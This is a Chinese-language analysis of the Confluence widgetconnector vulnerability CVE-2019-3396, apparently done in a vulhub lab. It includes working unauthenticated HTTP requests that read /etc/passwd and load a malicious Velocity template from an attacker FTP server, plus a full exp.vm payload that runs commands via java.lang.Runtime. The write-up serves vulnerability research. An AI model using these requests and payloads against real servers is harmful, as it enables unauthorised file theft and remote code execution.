Confluence Server和Confluence Data Center的widgetconnector组件存在严重的安全漏洞,可以在不需要账号登陆的情况下进行未授权访问,精心构造恶意的JSON字符串发送给widgetconnector组件处理,可以进行任意文件读取、Velocity-SSTI远程执行任意命令。
影响版本:
更早 -- 6.6.12(不包含)
6.7.0 -- 6.12.3(不包含)
6.13.0 -- 6.13.3(不包含)
6.14.0 -- 6.14.3(不包含)
影响组件:
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。
选择Confluence中使用的Velocity,添加pom.xml
依赖:
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity --> <dependency> <groupId>org.apache.velocity</groupId> <artifactId>velocity</artifactId> <version>1.7</version> </dependency>
语句标识符
#
用来标识Velocity的脚本语句,包括#set
、#if
、#else
、#end
、#foreach
、#end
、#include
、#parse
、#macro
等语句。
变量
$
用来标识一个变量,比如模板文件中为Hello $a
,可以获取通过上下文传递的$a
声明
set
用于声明Velocity脚本变量,变量可以在脚本中声明
#set($a ="velocity") #set($b=1) #set($arrayName=["1","2"])
注释
单行注释为##
,多行注释为成对出现的#* ............. *#
逻辑运算
条件语句
以if/else
为例:
#if($foo<10) <strong>1</strong> #elseif($foo==10) <strong>2</strong> #elseif($bar==6) <strong>3</strong> #else <strong>4</strong> #end
单双引号
单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似
#set ($var="aaaaa") '$var' ## 结果为:$var "$var" ## 结果为:aaaaa
属性
通过.
操作符使用变量的内容,比如获取并调用getClass()
#set($e="e") $e.getClass()
转义字符
如果$a
已经被定义,但是又需要原样输出$a
,可以试用\
转义作为关键的$
使用Velocity主要流程为:
VelocityTest.java
package Velocity; import org.apache.velocity.Template; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.VelocityEngine; import java.io.StringWriter; public class VelocityTest { public static void main(String[] args) { VelocityEngine velocityEngine = new VelocityEngine(); velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file"); velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources"); velocityEngine.init(); VelocityContext context = new VelocityContext(); context.put("name", "Rai4over"); context.put("project", "Velocity"); Template template = velocityEngine.getTemplate("test.vm"); StringWriter sw = new StringWriter(); template.merge(context, sw); System.out.println("final output:" + sw); } }
模板文件src/main/resources/test.vm
Hello World! The first velocity demo. Name is $name. Project is $project
输出结果:
final output: Hello World! The first velocity demo. Name is Victor Zhang. Project is Velocity java.lang.UNIXProcess@12f40c25
通过VelocityEngine
创建模板引擎,接着velocityEngine.setProperty
设置模板路径src/main/resources
、加载器类型为file
,最后通过velocityEngine.init()
完成引擎初始化。
通过VelocityContext()
创建上下文变量,通过put
添加模板中使用的变量到上下文。
通过getTemplate
选择路径中具体的模板文件test.vm
,创建StringWriter
对象存储渲染结果,然后将上下文变量传入template.merge
进行渲染。
修改模板内容为恶意代码,通过java.lang.Runtime
进行命令执行
#set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/rai4over")
org.apache.velocity.app.VelocityEngine
引擎初始化时构造函数什么也没做,但是会调用RuntimeInstance
,接着调用setProperty
设置路径等参数。
org.apache.velocity.app.VelocityEngine#setProperty
ri
就是前面的RuntimeInstance
实例,跟进setProperty
方法
org.apache.velocity.runtime.RuntimeInstance#setProperty
调用setProperty(key, value)
设置键值对,最后引擎对象init()
后为:
org.apache.velocity.VelocityContext#VelocityContext()
继续调用有构造参数
org.apache.velocity.VelocityContext#VelocityContext(java.util.Map, org.apache.velocity.context.Context)
this.context
被赋值为空的HashMap()
,上下文变量创建完成。
org.apache.velocity.context.AbstractContext#put
调用internalPut
函数
org.apache.velocity.VelocityContext#internalPut
调用put
存入hashMap
中,返回上层调用模板引擎对象getTemplate
加载模板文件
org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String)
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String)
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String)
步步跟进套娃的getTemplate
方法,然后调用getResource
方法
org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource(java.lang.String, int, java.lang.String)
这里首先会使用资源文件名test.vm
和资源类型1
进行拼接为资源键名1test.vm
,然后通过get
方法判断1test.vm
资源名是否在ResourceManagerImpl
对象的globalCache
缓存中,
org.apache.velocity.runtime.resource.ResourceCacheImpl#get
然后进一步判断ResourceCacheImpl
对象的cache
成员并返回判断结果。
如果资源1test.vm
被缓存命中则直接加载,如果globalCache
缓存获取失败则调用loadResource
函数加载,加载成功后也同样会根据1test.vm
资源键名放入globalCache
以便下次查找。
org.apache.velocity.runtime.resource.ResourceManagerImpl#loadResource
根据资源名称、类型通过createResource
生成资源加载器,然后调用process()
从当前资源加载器集中加载资源。
org.apache.velocity.Template#process
public boolean process() throws ResourceNotFoundException, ParseErrorException { data = null; InputStream is = null; errorCondition = null; /* * first, try to get the stream from the loader */ try { is = resourceLoader.getResourceStream(name); } catch( ResourceNotFoundException rnfe ) { /* * remember and re-throw */ errorCondition = rnfe; throw rnfe; } /* * if that worked, lets protect in case a loader impl * forgets to throw a proper exception */ if (is != null) { /* * now parse the template */ try { BufferedReader br = new BufferedReader( new InputStreamReader( is, encoding ) ); data = rsvc.parse( br, name); initDocument(); return true; }
getResourceStream(name)
获取命名资源作为流,进行解析和初始化
最后将解析后的模板AST-node放入data中并层层返回,然后调用template.merge
进行合并渲染。
org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer)
org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer, java.util.List)
这里是上面提到的ASTprocess
类的data
,并调用render
进行渲染
org.apache.velocity.runtime.parser.node.SimpleNode#render
node通过层层解析,最终通过反射完成任恶意命令执行,整体的调用栈如下:
exec:347, Runtime (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection) invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection) execute:173, ASTMethod (org.apache.velocity.runtime.parser.node) execute:280, ASTReference (org.apache.velocity.runtime.parser.node) render:369, ASTReference (org.apache.velocity.runtime.parser.node) render:342, SimpleNode (org.apache.velocity.runtime.parser.node) merge:356, Template (org.apache.velocity) merge:260, Template (org.apache.velocity) main:25, VelocityTest (Velocity)
直接使用vulhub环境
https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
设置docker-compose.yml
version: '2' services: web: image: vulhub/confluence:6.10.2 ports: - "8888:8090" - "9999:9999" depends_on: - db db: image: postgres:10.7-alpine environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence
9999
端口是用于jdwp
远程调试的映射端口,8888
是Web服务的映射端口
启动容器docker-compose up -d
,然后root
权限进入容器docker exec -u root -it 467b4e03119d bash
修改配置文件setenv.sh
,开启Confluence
的远程调试
vi /opt/atlassian/confluence/bin/setenv.sh
在配置文件的最后添加:
重启Confluence容器docker-compose restart
,调试端口就开启了,接下来配置IDEA。
首先将容器中的Confluence复制出来
docker cp 467b4e03119d:/opt/atlassian/confluence/ test
提取全部的jar
find ./test -name "*.jar" -exec cp {} ./confluence_jar/ \;
添加jar到项目
为了调试中的字节码匹配,复制出容器中使用的JDK
docker cp 467b4e03119d:/usr/lib/jvm/java-1.8-openjdk confluence-java-1.8-openjdk
将其设置为项目的JDK
IDEA远程调试配置如下
IDEA-DEBUG端口连接成功则表示调试环境无误。
POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: localhost:8888 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://localhost:8888/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& Content-Type: application/json; charset=utf-8 Content-Length: 231 { "contentId": "786458", "macro": { "name": "widget", "body": "", "params": { "url": "https://metacafe.com/v/23464dc6", "width": "1000", "height": "1000", "_template": "file:///etc/passwd" } } }
通过python开启FTP
python2 -m pyftpdlib -p 21
并放入恶意的exp.vm
模板文件
#set ($e="exp") #set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd)) #set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) #set($sc = $e.getClass().forName("java.util.Scanner")) #set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream"))) #set($scan=$constructor.newInstance($input).useDelimiter("\A")) #if($scan.hasNext()) $scan.next() #end
利用java.lang.Process
执行命令并利用java.io.InputStream
获取回显。
发送包含模板文件的URL、欲执行的命令的请求
POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: localhost:8888 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://localhost:8888/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& Content-Type: application/json; charset=utf-8 Content-Length: 262 { "contentId": "786458", "macro": { "name": "widget", "body": "", "params": { "url": "https://metacafe.com/v/23464dc6", "width": "1000", "height": "1000", "_template": "ftp://192.168.100.109/exp.vm", "cmd":"ls" } } }
根据漏洞描述的widgetconnector
组件和java.lang.Runtime
执行命令的断点,找到漏洞流程入口
com.atlassian.confluence.extra.widgetconnector.WidgetMacro#execute(java.util.Map<java.lang.String,java.lang.String>, java.lang.String, com.atlassian.confluence.content.render.xhtml.ConversionContext)
这里将JSON数据都存储在parameters
中,其中url键值通过RenderUtils.getParameter
提取出来,并将各个参数传入this.renderManager.getEmbeddedHtml(url, parameters)
com.atlassian.confluence.extra.widgetconnector.DefaultRenderManager#getEmbeddedHtml
这里对this.renderSupporter
对象包含很多渲染类
对应具体目录为
迭代该对象的元素并在if条件中进行判断,通过调用了widgetRenderer
类的matches
方法进行判断
com.atlassian.confluence.extra.widgetconnector.video.MetacafeRenderer#matches
POC中会调用MetacafeRenderer
类的matches
方法,通过contains
方法判断是否包含硬编码的metacafe.com
,因为参数中包含因此能够进入if
分支,并继续调用getEmbeddedHtml
方法
com.atlassian.confluence.extra.widgetconnector.video.MetacafeRenderer#getEmbeddedHtml
传入getEmbeddedHtml
的参数为可控的params
,除了metacafe.com
,还有其他的渲染类也能满足
GoogleVideoRenderer
EpisodicRenderer
继续跟进到DefaultVelocityRenderService
对象的render
方法
com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class:60
继续跟进getRenderedTemplate
com.atlassian.confluence.extra.widgetconnector.services.DefaultVelocityRenderService#getRenderedTemplate
com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplate(java.lang.String, java.util.Map<?,?>)
com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplate(java.lang.String, org.apache.velocity.context.Context)
com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context)
将远程模板ftp://192.168.50.63/exp.vm
和环境变量层层传递,创建StringWriter
用于存储结果,继续跟进renderTemplateWithoutSwallowingErrors
函数
com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context, java.io.Writer)
继续跟进
com.atlassian.confluence.util.velocity.VelocityUtils#getTemplate
先跟进getVelocityEngine()
看结果
com.atlassian.confluence.util.velocity.VelocityUtils#getVelocityEngine
返回生成并返回一个模板引擎对象,并继续调用getTemplate
函数
org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String, java.lang.String)
远程加载模板,过程和上面一样包括初始化加载器、加入缓存等等,不再跟进,向上层层返回模板对象
com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context, java.io.Writer)
跟进renderTemplateWithoutSwallowingErrors
函数
com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(org.apache.velocity.Template, org.apache.velocity.context.Context, java.io.Writer)
这里使用模板对象进行合并操作,完成恶意命令执行,最后的调用栈为:
exec:443, Runtime (java.lang) exec:347, Runtime (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) doInvoke:385, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection) invoke:374, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection) invoke:28, UnboxingMethod (com.atlassian.velocity.htmlsafe.introspection) execute:270, ASTMethod (org.apache.velocity.runtime.parser.node) execute:262, ASTReference (org.apache.velocity.runtime.parser.node) value:507, ASTReference (org.apache.velocity.runtime.parser.node) value:71, ASTExpression (org.apache.velocity.runtime.parser.node) render:142, ASTSetDirective (org.apache.velocity.runtime.parser.node) render:336, SimpleNode (org.apache.velocity.runtime.parser.node) merge:328, Template (org.apache.velocity) merge:235, Template (org.apache.velocity) renderTemplateWithoutSwallowingErrors:68, VelocityUtils (com.atlassian.confluence.util.velocity) renderTemplateWithoutSwallowingErrors:76, VelocityUtils (com.atlassian.confluence.util.velocity) getRenderedTemplateWithoutSwallowingErrors:59, VelocityUtils (com.atlassian.confluence.util.velocity) getRenderedTemplate:38, VelocityUtils (com.atlassian.confluence.util.velocity) getRenderedTemplate:29, VelocityUtils (com.atlassian.confluence.util.velocity) getRenderedTemplate:78, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services) render:72, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services) getEmbeddedHtml:42, MetacafeRenderer (com.atlassian.confluence.extra.widgetconnector.video) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeJoinpointUsingReflection:302, AopUtils (org.springframework.aop.support) doInvoke:56, ServiceInvoker (org.eclipse.gemini.blueprint.service.importer.support.internal.aop) invoke:60, ServiceInvoker (org.eclipse.gemini.blueprint.service.importer.support.internal.aop) proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework) doProceed:133, DelegatingIntroductionInterceptor (org.springframework.aop.support) invoke:121, DelegatingIntroductionInterceptor (org.springframework.aop.support) proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework) invokeUnprivileged:70, ServiceTCCLInterceptor (org.eclipse.gemini.blueprint.service.util.internal.aop) invoke:53, ServiceTCCLInterceptor (org.eclipse.gemini.blueprint.service.util.internal.aop) proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework) invoke:57, LocalBundleContextAdvice (org.eclipse.gemini.blueprint.service.importer.support) proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework) doProceed:133, DelegatingIntroductionInterceptor (org.springframework.aop.support) invoke:121, DelegatingIntroductionInterceptor (org.springframework.aop.support) proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework) invoke:208, JdkDynamicAopProxy (org.springframework.aop.framework) getEmbeddedHtml:-1, $Proxy1665 (com.sun.proxy) getEmbeddedHtml:32, DefaultRenderManager (com.atlassian.confluence.extra.widgetconnector) execute:73, WidgetMacro (com.atlassian.confluence.extra.widgetconnector)
https://www.jianshu.com/p/378827f1dfc8
http://blog.leanote.com/post/zhangyongbo/Velocity%E8%AF%AD%E6%B3%95